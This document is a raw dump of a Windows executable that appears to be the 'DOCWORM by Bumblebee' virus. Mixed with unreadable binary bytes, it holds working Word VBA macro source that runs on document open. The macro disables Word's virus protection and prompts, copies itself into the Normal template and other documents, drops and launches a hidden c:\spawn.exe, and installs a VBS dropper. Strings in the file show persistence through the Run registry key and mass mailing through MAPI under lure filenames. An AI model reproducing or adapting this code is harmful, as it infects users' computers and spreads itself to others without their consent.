MZl              @                                   p    	! L!This program requires Win32
$    PE  L (;                        0            @                      p                                        P  p                           `                                                                                    _BSS                            @  _DATA          `                 @  _TEXT       0  T                 `  `IMPORTS     @                    `  `imports     P  p                 @  Prelocs      `     "              @  R                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        
[ This is DOCWORM by Bumblebee ]
 \xxxxxxxx.exe c:\xxxxxxxx.vbs    8$@ %@ c:\xxxxxxxx.sys Private Sub Document_Open()
' This is part of the DOCWORM Project
' the way of the bee
On Error Resume Next
Set ad = ActiveDocument.VBProject.VBComponents(1)
Set no = NormalTemplate.VBProject.VBComponents(1)
Set op = Options
op.VirusProtection = 0
op.ConfirmConversions = 0
op.SaveNormalPrompt = 0
If no.Name <> "DOCWORM" Then
no.Name = "DOCWORM"
install ad, no
drop
bumblespawn=shell("c:\spawn.exe -i",vbnormalfocus)
setattr ("c:\spawn.exe"), 6
End If
If ad.Name <> "DOCWORM" Then
ad.Name = "DOCWORM"
install no, ad
ActiveDocument.Save
End If
End Sub

Private Sub install(src, dst)
Set odst = dst.CodeModule
Set osrc = src.CodeModule
odst.DeleteLines 1, odst.CountOfLines
odst.InsertLines 1, osrc.Lines(1, osrc.CountOfLines)
End Sub

private sub ToolsMacro()
ViewVBCode
end sub

private sub ViewVBCode()
ToolsMacro
end sub
                                                                                            <'@ F'@ T'@ ^'@ g'@ q'@ |'@ '@ '@ '@ '@ '@ '@ '@ '@ '@ ' This is part of the DOCWORM Project
' the way of the bee
On Error Resume Next
set w=createobject("word.application")
w.options.virusprotection=0
w.options.savenormalprompt=0
w.options.confirmconversions=0
if w.normaltemplate.vbproject.vbcomponents(1).name<>"DOCWORM" then
w.normaltemplate.vbproject.vbcomponents(1).codemodule.addfromfile(" ")
w.normaltemplate.vbproject.vbcomponents(1).name="DOCWORM"
end if
w.application.quit
wscript.quit
 c:\spawn.exe \wininit.ini rt wt %s private sub drop()
 open "c:\spawn.exe" for binary as #1
 rb d%i
 close #1
end sub
 
private sub d%i()
 b$= "%c " & chr$(%i)  &  "
put #1,,b$
 %s%s%s open [rename]
 NUL=%s
 \binstall-lock.log  /q SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ fakedllfakedll KERNEL32.DLL RegisterServiceProcess setup.exe southpark.scr movie.exe divx.exe billy.scr santax.scr AllYouBaseBelongToUs.exe wazzup.scr fun2u.scr patch.exe pr0n.exe moreWindows.exe sillyPoint.exe hitByTheBill.exe hotHotHot.exe hurryUp.scr MAPI32.DLL MAPILogon MAPILogoff MAPISendMail MAPIFindNext MAPIReadMail MAPIFreeBuffer                                                                                                                                                                                                                                                                                                                                                                                                                                    USVWh%@ D  E   Pq  Y  t:@8/tx u8/u'x t!@,it,t,tE
EEh   h @ j   u3  }t
}   h   P  u3  h &@ P>  h&@ P  tW  YW  3E  k  3aU4 @   k  3aUO @ E}|h&@ hL @ b  u3  h\ @ h&@ WH  h&@ W:  h*&@ W,  h#    Yu3  hP&@ h @   Sh#  jV  S  Y3E3uhS&@ W  E}}#  |hX&@ W  3EI  uhj&@ W  3E  h~&@ W|  3E3E#  uE?   <`v<{r<@v<[r</v;<:s5} u3Ph&@ W%  EK3Ph&@ W  5} t3Ph&@ W  3E3Ph&@ W  }?}} u9h&@ W  )} th&@ W  3Eh&@ W  EC}@E}}#  ha&@ W_  E}}#  W5  YV  Yh&@ h1 @ $  u3  5H @ hL @ 5D @ h&@ W  W  Yj j j h1 @ h&@ j   !shL @   h1 @ v  \h&@ P  u30  h&@ W  h1 @ h&@ W  hL @ h&@ Wp  W[  Y}t
}   h   P  u3  h&@ P  h&@ P  tW  Ya  h&@ P  Ph&@ W  W  Y3E  k  3aU$ @ E}|h   P9  u3  h# @ P
  jPh @   twjP
  h&@ P
  EPh  j h&@ h  
  u7h# @ w
  Yƀ @  h  Pjj h$ @ u
  u
  } uAh	'@ d
  j h   Ph   4
  Pj h   9
  jj Pj ]
  3*h'@ +
  th%'@ P	  tjj 	   3_^[]UHSVW#@    󥾰#@ x   #@ H   #@ }   ǅ @ xlth ]	  h(@ e	  ؅r  h(@ S2	  E} Z  h(@ S	  E} B  h'(@ S	  E} *  h4(@ S    hA(@ S     hN(@ S  E}    EPj j@j j j Uth    S     ƅ iEPj h   Pj uօuLE@pP<      3Dj j HPj uUuU썅Pj h @  Pj j uׅqh    j j j uUh    S  _^[]                                                                                                                                                                                                                                                                                                                                                                                                                                            %P@ %P@ %P@ %TQ@ %XQ@ %\Q@ %`Q@ %dQ@ %hQ@ %lQ@ %pQ@ %tQ@ %xQ@ %|Q@ %Q@ %Q@ %Q@ %Q@ %Q@ %Q@ %Q@ %Q@ %P@ %P@ %P@ % Q@ %Q@ %Q@ %Q@ %Q@                                                                                                                                                                                                                                                                                                                                             P          xP  P  Q          P  TQ  Q          P  Q  Q          P  Q  Q          P  Q                      msvcrt.dll  kernel32.dll  user32.dll  advapi32.dll  shell32.dll Q  Q  Q  Q  Q   R  R  R  R  "R  ,R      Q  Q  Q  Q  Q   R  R  R  R  "R  ,R      4R  BR  TR  dR  lR  |R  R  R  R  R  R  R  S  S      4R  BR  TR  dR  lR  |R  R  R  R  R  R  R  S  S      "S      "S      0S  >S  NS      0S  >S  NS      `S      `S        strcat    strcpy    strlen    free    malloc    rand    srand   fclose    fopen   fprintf   fread   FreeLibrary   GetProcAddress    GetLastError    Sleep   GetTickCount    FormatMessageA    LoadLibraryA    GetModuleFileNameA    GetModuleHandleA    GetCommandLineA   GetWindowsDirectoryA    SetFileAttributesA    DeleteFileA   CopyFileA   MessageBoxA   RegCloseKey   RegOpenKeyExA   RegSetValueExA    ShellExecuteA                                                                                                                                                     ,   D0H033 44444444 4$4(4,40444 0     0o0001$12171Q1V1d1r11111
2"2y2222223?3p3u3333333333444)4.4o44444!5>5Z5y5555566K6]6o6666667$797N7   @  D   00000 0&0,02080>0D0J0P0V0\0b0h0n0t0z0000000000